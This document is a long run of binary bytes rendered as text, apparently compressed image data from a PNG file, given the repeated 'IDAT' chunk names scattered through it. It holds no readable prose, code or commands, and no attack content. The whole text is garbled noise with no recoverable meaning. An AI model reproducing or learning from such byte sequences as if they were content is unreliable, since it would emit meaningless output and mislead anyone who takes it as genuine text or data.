�@� ,�y];�C�G��8�Ɖ8�Y������|�w���)�s��j��Tose�
�
0|�ϖOF@�������>w�
gL(n_�uR������,���:I$���TCP.�����������p;j
��&fU��"_��L̕n>��?�.Y��Zo@@@�S�f�쐿���g.:������
N��$�\.���b�D�ů<�i��^|���r��6FX@�4�}4�$�؛D>�TE�s^DMZ�"}.��<�{�f���Yc�;��{���#�
��(�l`m��
��h0��Od�o]�/?�by��\WgŜ�|Y\Z�o�NR�e���r1~��j���U�F�|�V
�&R,�Z)��4�q�<!_~☽�=e���m���Gv@@@��03���)�7�����7~
�k���$��c�9��{r1�Z�fo��ι���7"0��rhy�5�,�qq�$u*}��Y���7ך>�>v֎�^Yw�U�<��f�
� 0�8e�� �
0��̕Eֽ��|��<��R˄�%I.-Iޙ�O�E�T-T�#7��%cC`yB
���(�JY�O%���6���9�]�^;V���lއ �
� �@��;w�G�:��cfLW>���kBpI���rQD
�]�X4�@�
�B��Z
�P6+���<6fܳ�貽����t-h��i!�
�����!�
Ќ�d����;�m����K�+R�U|:�s���/��jX�{
sn4���{��kEvt;����S�ؒ������SD�Pդ���|@@@V�@�P
�<�������)����[�"�s��O�
q��i�W��
q�N\m�Bܪ�^���-Pą�ʵ���y���*Õbˎ�bU��c�9o|�F�;�p;�Yա�EX�#��@@����Vc�
���@���H�s��s���z�(YN#_��I�����k��"�eb�ĵ��L�-�jXy�N�$�(��8T�,/��K�W��:�#��S䏪:g孑OB@@h&3������O���
M�(�0\V.��R�H�!W[����0���Dc�i�a��$`�����3/.�J�ڱ]u��J���9�ӻ������Oz���
�����7�@h*3��.Ɂg}�#�X�;�Zp!'>����K�e&!.>z}u�ړ���T;�m��)]o�
biY��+�y�(���S~p�^o��]����0A@@Xe�Ø3g���k��=��.���!S,���/�s���]��J�g��U��X�D
T�˚ԢqY6,ię���3�ڞZ��Ϟ';l}��y�d`�@�F�;�u��(
��C
\����κ�O�ڶKI��b.��Zɞ�M�PE�P�~(7�B5<�g��cA���.=����=_���EN*�Z}�����u�u�Z��2b@@@���������\5f��M�x_T��H���ġ3A�Jǒ��Xfm!7�[�u#�����#|�����E�i>}�����\����:�:�o参OD@�z�nt=o=Ǝ
�� �5��k��x�ӽ�����^��d``@�$i��Z�FV��,��
q!��"�
��"��r
��p!�C�5M$�T
�H�@��Ǧ:0瑃w�ǻo6��m�ӗs5�
@@@�I�l���O�>��3�6>I��\ڣ�jp�9)�����#�b1;7Z�5�ô�@
��כ�U��:5\\��KK���7���d���S�R`0E@x��/E@���l��o��?������)�jUr���:I�I*.+c[5�`A
�=����M&�Yµ�l���`s&F��9�=.��[54MfA@@@`�Y��y�����Ǘ�q��S?>�:���0k٘�,���+������b�f��(�N��_��o|��o�q�仞P�J�̏q"�
��� �j�Y
�
%�g�ڽO��ίn9���A%�.�N����_ ąih�(Z{�o�6
��dh���8ą���+�irV������^�}���箢mj�L@@XIY�ԗ_��t��R�fZIZ�p�i)ˢ��*�>-�m�F�@8�U�`��8ԇsI�z����-�;_��}�?uwĩ��5]U�Q:��
�#$����E@�Q,`f��#�u��,��n��p�"�$��B��EY�-T��Z�f��.Zd�$�
do]����Ԏ`7X�g�'S
&C��T"�����O�ǣ>��)Ef�jx!
� �
�o(`==�����/��n$�%����/97�Bq�rԣ@���� ��ٵd��|�+E�tnk�c����e�Hd�|�?��f�
�����חOG@�!�,�Y�}��뎚�w���(L%tP�B8��k�-ϤXT
<��
��"��8��ŗ���{��w��kJ|���pC@@@��v�3gn��y_?,��C��Fnaŷ7����v�k����c��#�@� �q^4�K�\�
��@\o\L�o��m�ꥲ��?�]j�m`�� ��*
���Y
��$.R������}Ŀg���G�BU"
�8˪E
�*م
/�{��i���m$,�@ Ԟ�
A8�Aj���=��U������^�fݮ_�ލΜT��c�
�0@@@`e���&���۽�|���{v�L*�NA_��ָ�[Z� �eg����v˂�$�6IąkN>�
=���"/�
ߒ<��}�N]r�L�������e�
��:q�Κ5!�
�P�f�_}�����u&�S�r�Ó{g���[��k���d�V
\C�pW��91
a��N�Ė>�[0_���=��]OؤCPվ�Ec�
� �
�K���k����G~�#'%���D�(��]��n[�-���-R�@�R�y�[
Zk��gCM�J����Wh��
���i��)7��0:@)q#%�z@�s�~�5�xN���/n��&�@��-RIM����KΗʼn����|{3|�@֚����@\dI�'�{�)�����~�&�}���YQ�Y�ı!�
�
�,I�̜�����~������X?P��^�[B�8}%$G
����P�T�"q�P
�*��8�]l}q�{�� =�m�z�a��D@@`�
�[��|
��#`f���_���i���:�+j�+H����\V.�+Y0.�gB
��'[4T�bA�z�Jp^"�h��F��8I�*q�!�$T����/w���N;x���5F�TՁz�/�E@@~�p�I��}��]}ޜ][�ENU�f�u��X����Y5���Ͼ
�����ÿ�X�"n�,r�^���q��G6<�ğȎ��@��^���
�
P���~2@FF�̢"{�v�ug<�W�*�wj�y�楪�lP9_��|��5U-ïi�=�/������\
�8�ř��@�V�#ݫ3'������_���C��?�T}��f�h@@@V��-(�����>"���N���yz4_(����%T�[��eg�,
P���*�|N�~q9'�8����䅖��mq�%ߗ�ֽZU��q��@�_�@���@V��l������̌����(N��9'q*��Ӭ6\�$�l�J
�aw
&��!����-bg�
�R-gaWs�8KR5kѴ���]w�a��mr���54�C@@xSN,��=o�� �:��Ɩ��c�'肾p���o
�#� Μh���*e7
��qI���m�M�a�o��2q�U5m�i3
@X��V2(�
�@3 �����;���/�}�s=Җ��~���*!$�[h��E,�T�F�=+B�8�7����j�b��r-(W�T�ޤXl�r)��H��xr�-��|�O:U�Uosf�
� �
��#`���ܹ��?������HK��\.�K__����
=�����8�#I-_HC?��T*�I�uLO�ɖ�X���.���[G�D
�����G���#�
P�f6���=�v�M���[�$q�!�gx��QYu��_9�գ��8�G
ݡB��YQL�Wq*��Q������zi���Be֍�}t�n�-P��
� �
��YN���;�:�5��v*V����%eikm�J�?Y@��TTr��R�,RP�>�B�dv�m���ߓ��#��|��l�/
�,�w��݊W"�
��bfV���6'}�+�LiרU/NC�(/j>���T�H�Y�Wk�����L
áE��E�@\�=Z�VE�K\h��R,v����\?._yr������l{�8�g�l�@@@`l�������K��R�QG�JE[��✔�
��ap�#�᪱s�T�D,�Ē�S�J�՞�����o�'���=���@@`��=r��@���-zE6��wn�������̕*��#g���T%�Z���V�E����'`4���BoY��r���
C
N�@�Ih��Qhk�罸J��)�Qy�m���ޱv����"�
�
�,&��K�5k�ß��%�^|r�₹����I*yuR-W$΅�G,
Ќf^LU,�$���^z-�D���[MV��U�4�
sF@�e
�lN�
@^G��l�����o��ٽ*����D\A�,��O15�}����B
���"ԛ��i��">��pY%�,��W�rbRl�J%T�i�;����Qi���rԇv8~��lU
��X@@@�P�lA����]��YgO)�[�ݒ\��4��["ΉXJ� w
��@��e��,�ĻH$��jb�r�j�V[�r�/|�"�p���?�/
� ���9@@`��l���T���
75�b��D���e������?k��%G
n��y3##.G��F�#Q5�jU�,ĩ�|Q��E���-�X�Y�������}�:kDXSu��̂�"�
�
�������f}�'��n����%R7PUI�I�`e�$�2���u#0B&��@\b�HQ������o�out���
��"�
�@����
�0@�f�T�l�<wN4i���B~I�Tč�
ǸX���u��|���k�8�|V!.�HL㬥jxq̅P������\Wy6��s˔��%˶,�^06�6B�
0��
�H�JC��8�cL�q��]���V�2�3s�9�wve��ե�y.�W�;���)��缯J\蛃=&����y����R�mX
^��(@
P��&��Y7�������9@J�+(%��27����T%�i� �Ps�)�MJ^�J��69Dn=�d���!���c�A�Q�����y%
P���F�Gm�PsC)@
P�;G�{�M��K߽�[�%�G�Q.G>����H� -S�E8�-Sw�c�[������rrB"L���s�hd��E��S�YqAq�B.��׃i�f��=��oxά_������˅�(@
P���A�{`x�1w|�o����7Li&]���A
G��#3�X N3�;��O�@\(4M�J�ȼ�ϥK(
IDAT����L]~䷾�̘s�R*!(@
P��s�q��(@
P`�d
���o��}ް�L
`�֨���Ki{�%>A1�O*HAo������xb
E
N*ĵ�#KX��䤅����rBC��9���.Ϻ���
��A�p�R��뷄�H
P��(@
P��C�O�mW���/��[Ț'V3����d�d�lq�h�L��
q��<΅h/?�H�M�KHt��Y5v�M��_>�j��J#N\(@
P�����w
P���K�{�D���G�����a�}�)�0�K�(��7�A�
�a8~�.x^��A`<'w899!�p�j��[�8���h�[�m�g���h����������O�wγ~�
��A���`�.)@
P��(@
�b�b�6��{>�����]�ʎ�@wd�U)Ǝ��c��Z�,[�R9~��&�v���.Y�#�"��b�D�������|S����Je�n_I�(@
P�{��$����+H
P�����fug�k���Y�q���2GOBq��&'��&אZ��������KK
.�,''-��]��E�����V]#��o=����⣧\PUj5�)@
P��(@
P`r�Zm���
7~���,��Q:kr�����IժB.��ZS���(Ў�YT�%$����]�9u� ���0w����w�M���(@
l�q[��KS��(�'F�?��ߺ�C�l��ܛ�\̌U��p�T������L��˅�h.�i]���@�Z���\�q�($�5?����46\��w���ŸL)�M4�/(@
P��(@
l�@Qn͊����{�ܵkO��|
=�7Ÿ�U�IUA1�J��K�q.�@;
(%-�-�2?\�H���|�/�͘=��T�M���(@
l�q[��KS��(�'F�?���X��+�xY���2�)a��+_��͠�(Hirg��D�S�8���UT���8 Ĺ�{�B�B��������Hj?琙��/|�X��bZv��\_
P��(@
P��
P�����~������4�ЛL�r�(Q�M�&5�z,�P
P��Z�F��j�7��݉ϻn��|���]����M��K
P����0��f�(@
P�O#ཟu�J���z�9Y�u`��
|�ԋ��a1����&w$
L4��q�u�M�ɳ] ��Jd�j���_.KP���P������|��N���1�TJ�'� ח�(@
P��������<��O����xt�˪��!eʕ��x[TO���4B+��=��iU?�E��&�N>oɳy|�{�0`�Į�v,Y��� N<�����ʉ�Gp})@
P��G������{�(@
L:�}i}���.zk�k�G�R� �A
���!"x��8�w��ܠ���zo��;�IN`�"O�",�[⊿������A�u��z1t�����g+�:�=�#n%(@
P��(��{������>x�9���i6H�6�Z�=`5�9v���2��8�l$n%&�@Q�mlLH6m��<>����0���x�,����In���ws�y�bނ��R�I��͡(@
P`' �hb'��f)@
P��&
�u�}�W�c�h�%�*�c5�*l����Q2�wK���"���[@�>G�QO
�S��I�����/;�)��l}1��n(@
P��(�>~ddn���;��un���e�rd(���8
�R��"�\�����iV\(@��$
��"�:�l�{���q2 ӹ�D>��
�g]w����u#nj&Ҟ�u�(@
�^I�^�;(@
P`R $����W��7.yc3윮�(����9��k(%�;���C
l��<�,<2���|Ig)�胯z� �|�aݿ-˕bjv�Ty)
P��(@
P�{���k�X5��[���o��?pf0�1�H�4O�\�
�*j�+�Z�o�Kuq���ǹP�L`�@��Uឮ���?�'�[] ,�zܽb�i����wq�#l�:�v�.(@
P`7
0��y��(@��&P�~��kq�x��4$Ϣ�AfeZ��Q�s��q��Q�C�!�-TPB
�!�pN�z�n��^{�����R�(�m�(@
P��(0��F���{�{����ӓt�@%*��#�J��؋���T+'-S�/V��P�M`���{�0�l�b��H��]����?����ȣ����N��h{ח�(��x6z���)@
P��N�{��8㟾u�����DU8��A
����0ʰ�Ť{�A�2o�0@�%2(4h4�Ĉ�\~ج��=�����+��-�U^��(@
P���$_��pǥ/�����>~���_.wE�7�!#DZ8��)*�I�8i���G$+ዊq��B
L,��@���x���+���t����)w�K+}W>��q>���R*�X\[
P��v�%v�>��(0����<����[��/M��ԃ�0���P��c���l��9��3x��TH��N��2Fj
t���46�s������O����RK��y
P��(@
P�ؓ��pK��x��>���eK_�[O��F�a��
�#d������RN�+i��[ �xd�<��'=�\
l���O�-��U�f��c}TT�?��|�#穾�k���y!
P��(0&�C �
�(@
�P����^�P�5?��uMKs;G3��Pf&�|A`��x;�z1
P`�PʼngS�B[��ɀޞ)h
BY��8j�����U�Ω�T�ٿ{����(@
P��(�I�{��nݴ������肳f&�}�jֆ��Q�����
�9�Z���h��=J�/�3��_`�B�l��U�6߲'�j�ZcE\~���8��r��&'��-�(@
�R�v)7��(0���KS��3��믏D{��#S)d�(R?�r��<����6�(�^�3���:�Q�u�,�Q�@�n�nJOiX�,����O��T������(@
P��&���k���n��g�=?M��&�r����K0�b4m�u���e+�8
�4�r�
�r��2ub�\k
lj��9�3��/�!�E�--w�t�7��0�/�R�d�(@
P�[#�@��h��(@
<�����}����5n��i�fi]i�Û&���.`
�%y
LF�V N��@��?���
��ߤ2@�7]Gլ�Qj\�O��oOPJ�'����(@
P���d��W���n���~l��������t�%�Vy4�J���|�0�i��xDN���O<�5Y�nG{ l^N���a8�TQ.�2ȿc`�-��A���l�A/���Gw��R�����(@
l��$�W�ק(@
P�)M��Տ��7w����Z�,��\U�7G�r|�B
�����0�S!^Y���Pr��}�`R��%;����N��k���}�b�T�nb�^
P��(@
P�A��A��¥_����x۴,���6JI��V$�U���p�BlerT+g�/q2�*pR)�u07~�#�"�L�R%�EQq�<ϋ0�1A���
+���o�7���*��'1(@
P��Z�V���(@
P���}��:��o��)Su�$k�ZVh4�0A �~���(@��%
3������"Jp��)��2�6��γR���7���=kAxi/��3�'�>���(@
P��&��t@����E��'�bFP�h�tEf<�6��Դbq��jqE>�8>��p�-S%D#�8��q�)U�&����!0��SmRE�{�̪��^����b?`����Q��Կ��}.V�w�=Ը��(@
�H�v�&o��(@�B�{�|��^����Z���0Z1��8�-h; �Y�
�jXhozi�*��N�Ke�Fj��B�]����K���/�ѡSp�Rj����(@
P���`?�p�U�?�/�e^^^��4OL�ENq����̏�O��J$NBq��IE9 ��UA�(0��|B��:L@�-�8'��Z����[x����ԩW+����P��(������?
P��@x�u��?.>��EtMS:�B�
�m�P�m%�j��:�8���Z�
8e��Fkۄ���]W���^��|���q)[���nÍ�(@
P���`�WU�x�w��?�a���V�zg͎"�VT������U��6��K8�תW���J!V��:��U�ڃY�j��fO7
��F�e��9��JI�87�3����W~�ﵯ����z���(@
P`[x&z[�x
P���Q�{�q�F�����4��@�u�6Kፆc �
y
L6�V
�u��H�H/u��'+[�iZ@+���;g"�͚-cx�>S������7qv�d�;�=�(@
P���D(Z��>���7��]�Q}p�K��t����`�*�d��,E�
�(��a�Ub�_Q�)���H��߳D�D�/����;=po�*8h$͢J\��62��u�s�7ތ��R)5DQ
P��(�-�m��C
P���3
x������?~fU�|�G��
���F8��&x
P`� �/�+�J���ِ��@�����fPy�j
�2����f��'��i]X��J&7��(@
P�����އX�b�u����}Yutx�(�ah6S�a|�O�o�}[?"5�UBp�)R2a��3pаZC.�/qb��JR`3�?�+^����V�A�g�K%5�#����}Y������)�r�R��(@�m��mQ�u(@
P�xF�}�Xp���}A�����`�!Ǐ(��P`B
8x�:�|x��-��^�l���P���%���AwY7+�;�9G����iq�K'$W��(@
P���(�ṕY��3��o��䀼6P��2��!R1"V�$���Bxde�}�:U��Ie8�3e�L����th}�bp�M�]��M�M
�B��+���Zr��1�����,�������g\��z��T�����(@
P`[x�y[�x=
P���������ޛ��w}�'��]3Vޫ$I�g�+M3dy�c��%��pv0w?
LL�V;���xu8��5/x�g��]ڪ���
W�놏|���=g�r�>���?�+�>ub�
\k
P��(@
P`� x�5����S��~pf}��ȏV,����FE�M~'�6�$��
��b�/*DMR�~�j��<~d��p�)
�TQ�Q���:�����B�g���B3��I�N���R��W�|��Ϟ�i~�o�.�{(@
P��#�@����(@
�Y$]�Y�x��fPUO�<L���,��`
��(���Iz�֒�����/�s�ѥ�J��(@
P��(@
�|�zp�^���{�z�]�Q:QN&2�Ɔ�E�7��J��_3�(��H
N��
9t�ɎN���@���.��5�d�
T�����s?����R*�S���A
P����` n�=f\c
P�������d�n~x��u�S�����k�=y���e�q�7�v�,v��<�]��(P>�P�ծ��W=��4�t*�n��o��(@
P���"�}mn���~�g�"�4H$�R���V��Ĺ��I̍+��q��M@�)U��|,�Y�
�JX��g�I�j�c=LҴ��%=�sQ�k�p.::6�#@��7�^
P����` n�z��(@
P�x�����n_�7�xS#�=��k�ZJ�o���x�n[������b#�@��PQ삼��+]w�G���ٿ�PS�g[&�#�-�(@
P���4��2�=�����}�5�W�;e
���$JB.~�E�m�W�ri�
�ZBr[?���m;ׇ�6 �IN^���-Z'�k��~����*Ȗ�+���/�����c<���kQ��(�`
�{(@
P�;U�{_Z��_����i��A��y�E�8�v�C����P
��`�{��m�57r����-��*��&��ʵ�(@
P���L�V��x����O��g�Ɠ�j�I�5���i&i��:�$c9��٧�_\(@�6���LjT^ڦ�"�K
NY�z]�M�˪��0�bH��.[p�g���i�2�f;
7��(��� ��I
P�����p�]x�[nX�xM^��as���!�'~,i�ឩ�*�)@�v�W�fn�Q��g
Z��Llg��u��+?�Η|s��0́�v�3���(@
P����h����t�!7}�#�;`���Jm`��n�rWi#��Z�E�EI�EIkD�|Q-�������6)�gȸ�.q�?�E�T�X@9��ː�e�Tw<z�[�q^���T��G��-��Q��(0���ב�(0���Ͻ{i��������n�~��][L$~��7�w�>v����p�h
�ԑ�ML�:����j4�k�_��٧|�^�`���ϛ�(@
P���N�{�s���~�?|�o��_d��c��HYXk�Rjq�"����b���J,1\(@��h��B|\�d�A�p:/F}�5��B'r��[1}��������T)5�V`�X
P��v��Dv
+o��(@����� ���ʏ�����
�?���^=�^c<'(���Cr��=��(
�8�4�R�a4�(E�WJ;�����Q�}��O�ف]��@m���L
P��(@
l�@Q�V��%�O�����u{Zw֨4쐮T�R�&42"W�j�D�0�Trh��o��]+�+S�J@ڥjy-(q���/�pY�þ�.�כ���rm��/>�c��z:��� �pse)@
P�{��&�
W��(0yd
u8����z�Uw/}�5q�̭��I�"BX'm5�T~�c!��JqOn�ڊ��c���C�%�Ry����2���[hi�S��V獕s����y݉�ܷ������\(@
P��(@
P`K�0܆
��h�o��s_1��8)�yO�se|�$�"�Q[��M1i)�
NZ�--��`�����D�P��$P��* ĵZ�J8V^ ��h�i�R��k_Rέ�+���O��N������d�m�(@
P`� �L�γ�-S��(����~������_p��qgy$u:(�ἇ�6�uE(�8yJ
��kU����`h?�V�y
�*,Z�HN��.�es:����.�;�$�]�~{���(@
P��:�V�ԁN�x��o���ΚY��Pq��L�i�:@{�?��f$�b�L�-A89Fsc�9����{xi
L����
�)��)X�Ј�B�Gl#H�TmL����ڃ��0s�o�R��
�m�(@
P`��Hd�?\
P��@[x�>�;W~�?��͍�8DFH���a�$Ia�4Bl-��L}�u*qm��p#)��'�8y]�*Қ'*³���<�hdI=몄+:U����թߩ�pWPc(�;(@
P��(@��(*�a}�<����מT��i��������]éVE8���K�Z_��v�Gfd���Ʃ$��N�Uhh�8�=�a^���"$��YT�O9��/�ヒJ�6�ݴ���
�(@
�4��4Z�0(@
P�O�~Y���ݲ�,��Y�� *�Z
IDAT��pP&��J����26�x�.+�q��@;�8�
�ɫ�S������@�C���T*��a�nN��Co9��0��{���(@
P��s�*�=r��v���\�j���~+��8�'U�ړ�E��qf�z��P-qЛ�w�O
����N�ג�^�8]T�L�g,`Kv�����~���cm{)qk)@
P�ؙ��L]�6(@
P�O��w?T�i�����R^�:?˭�,�¢e��5���C
<���J�Zn���Qcu$�4L�{���H�
���R4ԥ�?�����o �*����(@
P��(@����!F�|�?��+^g�uuD��:-�o�S>@`�B�QTz�cmR˹����v���,�uy���P@&1ʓ_FoZ��q���.xXx����g�_t�g�}?��ޠ��m��M�(@
P`' �Pd'��f)@
P�x���M��7~s�F{����#�JȬ�uJ�Z+�q��N`��A�&�8�m1���^*MJW��Z��&��7]g��s���������.�6P��(@
P���}���u�W���E��kpp�Bb�ʔUnl|�@y]Z��J�h��8�ض��#ai�(S�P\F�Džh7�����UΠ�T�7�^_NI�T�%���|1z�?V��vS�R��(�s�۹��u
P��6�����һ���n;�h����ʄH3ŭ���5�*[�r���yŪU �xi�j�}k�t)����f�84(�"xdI#WJ����z��/:l.�A)�*7Dž�(@
P��@
��E�>,���^��ߝ�12t`W���樊����0;rʵ�T�I�p�"UKޥ�QEh�*���DG����
w-nr�h�@�]TR|�������|���e�K���߅9s�����@
P���` n�r��(@
P�x&�}�x�g�|�{s��(N�Fj��:Ѩ7����/��xy}�IQeH���B
��@+�へb�qQy@�����:�a���0�F�T�``4�]�]3ͮ��M/?���^Zm���R��R��(@
P�(*�)l�p`��_���?�˩���:J��4Ked���Tz�@���dƵ��ň����X�V9���Д@���Lbb�8�oh?��q�Lc���0N!��@��16��O�b��>����L��%�b
P������-�ۧ(@
P� 2�:y�����%^��S�>B���eŠ�D\rՠd0UZ#>�����@w,
��@�!O���Df[?=~r��S���eZ�$d�%NgC�l,��-o}�)�{�>�J�����r�(@
P��(�2Y���W����?|u��ç��L�:B�(�q�ϊ�oR�h~�Z��6MU;�t����K*x˱Y�zri.�@� (h"IR���rZZ+�:�V$M�����|��¬�?@o�R�Z�\(@
P����` nGI�v(@
P��b�����]�|����!�s�6�P�a��zK��"'�C��6$�"�.��F���t:2��n|�����#�]]d&r�5���R��(@
P���^��_?��|�w}�{*�^q�쒮���$����E��&9�S�P��:h
�<m�s��yđA=�#}��Us���}擘=�NT�:]^��(@�-`
n˜x)
P��v�����8�S_���}��5W�TTA�=\�DP�&���*�I�
�sD>)�r��0;p�xS�@{H��C�|�T�
�^t��s�I�]� <����p+)@
P��(ЮE��z�,\y��w��� �6�۫}�J�$�20#iA�NY��]�n7�S@�&3+�a��00Ҩ��=ݏ�|�9��u���ܷJ)���vr���(@
<U��8��(@
��������5o��և�YU�^Q�>�砕��@\8����o���J������N)0�<�ˡ���ɾ3V���z�ϼ�-g��.�V�T>�7��O
P��(@
P�)Ee��,��|���bg5���:I�q��6��Q@e�qW��M@i��V
�� s�ґ>V-_w�W������R�m�^��(@
�y⸇P��(�[��Y[�+?����:��8.�r�*�)蝅�F.����5�=���nYo�)(0q�ej�0�h@��S_5hT����n�~���ܦ���[�5�(@
P��(�D�Fsp.n�����3�GN��I�&�����9@;��#�^Cy�F�D
l������pE��@�ޡ��+�뺞s�ES?���Q�"e��(@
P���<��A
P���D@c�'����v�����t96&Py�CkU�@T�|��7�V���-!�e(@�' �'a I��\�P�QmS3�f���K���0�w)�� H��.��t�DT*A���R*�����(@
P��$P��F�M�]�^r�g?��#�"�L3��:�21�K�N�6h��
���
f��v�Y���a��1^
��"g��H���ջO��g~������X���7D
P���$�@w
P��v���Ŕb�2�A
�e)��E7���L�1��c�$��RP^��|:��2u�<j�
L.�FS�8.A[x���m������S�?���G)\�
����@���M��<q�c�:�=�e�!VN�$���=��(@
Ll��s��P7n��w|�ko�1����W����;0�dȵF�t�R�ߣx�@AY�@������MP�1�3�
뢨^?�K�ا����K�R�nZA�-(@
P�m �@\<��D
P�����,�&w)�3䄻|�A ʀ�k��~
��|����Z~�Kם����R�JJa8g�
\�+nFn�����x����B
P`k�ד D�[�J�(�6C�<�
�Jq��nXr�����.��WJI�.�4�{3tm�1����]��v��:c��`W���#��C�\�WţӀ(��x��&�.�
�(0)�t���I�r#v�@�<��]�u緿��������J�P�J#����(�4CEZ�*����b��Y����(������NIYr�X��~�ߌ�����R�Ѷ��FR��(����m�c
P�����2(ՁjTG��!�݈}��Z7o��������I3*DN�8S�8�q�"���JC�7y9�^�Wq�U%NBq^���_d�ǘɱq+(���C�.�k�S�h��T���y��}��<h<v�½~��3���v��v�c�{ڹ��p�!����_u��/Ȃ�� ���U��=��Y=�.��#ν�#��n��WVuÜ��s�:(@
l���>��H�n�S����s�RR�(P�xo��87��[���ww6Ÿ��Fu�����I��8�������pV+g��B�r�ą��V
(���Pa�'M;8w�MG�w��9�J)���(@
�4�I�i��a
P������/��J�ʁ����z���5;u��3|t���k�g5mW��(CX�*�:v:Ta����&�+�rJ�| �ha-��7W��$��$&7�Qi�*ᇘɵqk(�+�w|����Λqŵޡ�$j`�#�����uw2�+!���{�.'�^w�lj����W��]�6w�`�bu�t�L��P�ǡ���>�I���jeGV���z���C�����>`5��q;���mR���� ���E@��C��f�~���r�]�_����щg��ΓO�-z�`�(��r?jw�}�Z�~�����:�?_�Yu��(���Ԧ(W�ȓ��ha8��:X�Q�=r�Z
㊩�ĵ����(�4o����4��how2�e/�jp֫���>�-7��P��(@������e)@
P�m$
����J�L���J�3�@��m��f��5k��j]�S�A��zZ��nD���nJ�'�u�2'P[��C�U1Ÿ�΄ǫ�I<E�o����)S�v��rE�-�d�h_�R`G H���'E��L�`U�$�+eZ��i�ޮ2\cc�K��<��o?�����R��.�
�
��3�H,��eK�}���N�Af�2Q(�Y[��
6ϊ��"*��7�;��u�û5�O;z���[0����~�'��X���"Ϯx4y��O��ptbÆ���U�篸�����=��WI��<CЈ*��|��/�~�[�@w�=�L]��v��/��@Qſ�a!.��ߟ��ܿ�i��'̀4s�:���B�*�V�,�vN+�ȭ���ё��2xC^
P�['PT�w02�ۀ-W�e��O����S�\������yi
P��(��<��z3^��(0)��@���@_�:XC��5Ɍ/���#�i���ѝ�]�V�9k+R^Ii%K
�ۜs��MF�ZC�����%�7�2.Z�}�"�֪W�S��U�+nC��@ܤ��Q��S�$�����ԅ�W!9ߪ�6lX�iS{��͒m,?x������.������.x�x�'0VI��Xp�8�G����*7�c���Y�u�[QXT^uy�(0p6��
�[��#w��.�Kb�"Y��G�9l�����yS����jV�پǎצ(��E��E�֍|x.V��_�������uk���KY�/Β
Jsh�:��x�м����\�C�q�2�bk������{ahhN�^���{F��#zT�#�a܉8,�^��9"
Dy��vj4��X�S���@;��uj��r�)@����+�t�o��C�sN��>��B�T�p�6�ۅ�+S��(�%�m�/C
P��dc'�%]%Ts�g�
f,]g����_�n����Tu�q��N�]�z��
b���pVl2v*'ҽ���|��5_����'��c�y<��5jk"��{���s�3�vJnv�@�:��^Q�T��ZXaQ�RbqP��
��p6GG��C5V�����_�YS[�a������7���\t�X5�\[��
���Ҵ9rc��]���[ǂ��<W�
�1��,1�PV�i���
1�e�z�<��Wq`��J��Sʐ�h"���<ْG���(@����b���f�l�v�\y��ɪ�K���J�O�rU��5��}�'�ˁ��H\=*
��w�g���o�=:zK·'ݹ����T�����~p�K��jspa�'լ9-�:�E�
��%c7Vvl�)"*V�+�'9����;\�{o�ЏBە����'p�S�g`��o��(@
<��d�[P���L@�άbt
b��Ճ�/z豓]���ᦟ�r����¸
c���[��V���`Z(â����s8 ���s%��d`�U�M�=^-N�(N�;Eȭ�+b(E$���bi�V����o�{�[i�Ǎ�K
l��x%8ym |Z�ƌ�yy}��w9� �u�(�Ѭy��0�b�Wи�o���N��5s�jl��(�c�Dh?����x���r���s�,쪚j��)_�.�h�LC�y&IZ*��
�9�;y�/�%�.ϗ0����g���j�$%��lhų�Xx���z߽�wύ�
@������(@
L6��R�Z����ƒ�x��ߟ���۞�g��:��+Β0�3�WZ9���"���P�JkG���ɻ��� ⬿ڵFpേ��]_ż)�F�~4�n���#.?��W����o�����(m���.��M��)�&�0BX��Xd��s2�'���''�Fk�P��Zy%Q.�c��ہ��}�3�ѿCw�
�T�����S��(@�m��mQ�u(@
P�D`l�}T:Lhb��5�,�?�G��v]�l��*����Z�H�q^)��y��</fF�6�Y*�'�epC)h���E�ȵ����'W��;ݪ(W�ና�cmQ�7U���K{C�
��Z\�V�i�� �@p5)@�=B@^kr���0>���c��Ґ�[�V�r����J��H�<��Q��=b��C'0��#{�C�+���z�}�Z�N��W����n�iN��y���Q��مJ\��p��Q�L�Z!��"��ߝ����1LI�TXת�"G��i),���+���ʦ��4��pٸ���[}��_{��{�6{
�T�5� O|���J
P�r�(s%�{�~p&�oاyݵG?p����##�{����R�C���J�Em�Ih[�;&
���ZqX���R�A�쇕�6(;T�>�-o�1�������Rj�&��߸�ǭ87
�u���T>�4G�<k��ئE���"MBkS�sͬ���L>��WLW����J�F��
P�[# �%U�,����݇�ӧ��-� 0��q����e)@
P���G�ץ(@
�R@y�n���)f���;�����i�hZCw��U<EiS�!�,�
�h��r��T�M�6 ��ܜT�k�ߜ��Jq��(�pc�������\Q�m,8'�Q��Ee&ۊ����qH�����mۼEj����|\%
�����%(qI�-�^� �R+DҨ��E7�T�
���R�q������N��s龢�����v��X�<
�����n>����c��#i%�t�
0������MɻA7m�ڛ�o�iOy7�Jp�3����+�y+�?�A��
o�߹Tq
�"@����g�v���G�j�VD����b;�YG?t��ޫ���E[Uiaǒ#�t��Q��=����=h��b�y�;���-7-~�����fM�J%�l��ZUb�d��Q��4EGgͤ�<OQ�Pw�K�T�J���i�[ǭ��#���JV��;�Oy�5����aZߝ(�V)�$΅Z��,X�M���'��{Y��ⓧ�|��5Bm�*&8�@�+4\��ZU��FP�NmM*oc��b<�6,|������
W��C@q!B7�|:8�z�����1k��P���#p�JI
��R1��pw<R�O
P����` nr?��:
P�hi33T505f�¬{Y���E��[�qhV�9ʔ�:����ƫ�xh�jS�y�g�h�S�cWy��?u[On�:�.u�f�ڦ��qOl�1~�ϼ�m��s3)@�-h�������|�M�n�f<��yU���k��o���]����W�:��n�a����/F���
�V�p��?��E�<v0q
�L�U�M���l��>�V�����������Z!��Ti���*�ۙ�o�ڽ����\�
)�U�M��7��c�wѡM]�ce���ҵ�'?�k��)@
�q��W��{��@�ʽp�}���C�/ٻ����u�UN����:pN�{�|L�JB8
�'o�>�=~$8�4��Mޠ��UQ���j�&L�Q�;�}�[�ó�u=���c[�=n��
m�@�jxtt
y�y7~��g�h�N�Ns��i�y�.���,���9��a�5j�3��98����tI��O�؊�E)@��hU��>W:1�o��wueƜ�S��;P�>�?�A?f�B���ry00�0�d��u9��~W"(@
P`�x&y��xe
P�����e��R`�@so^�n���T�s�.�+S���r�u�Zo�:�T�qP~�}����E�G�P6s�&M�n侹��|�i�V�� l�`��|l'�Z{��:0uC.�y��������8L�:��ı��ncᵱZ�p�����I����_��y#q��e�+I^[�
IDAT�{�������|�����r�#��h�?@�G
P�;B`,bp���a��\�Ȣ^��+�.�7��vz^�W��h3�\U���.6 ��ODxm_?�4�n4�Gz�wy�5�_���0s����!��X-n�qy��
ཏ188W_q�
��[f5F�����K$F
;V�_�`�S�'�]R�m'
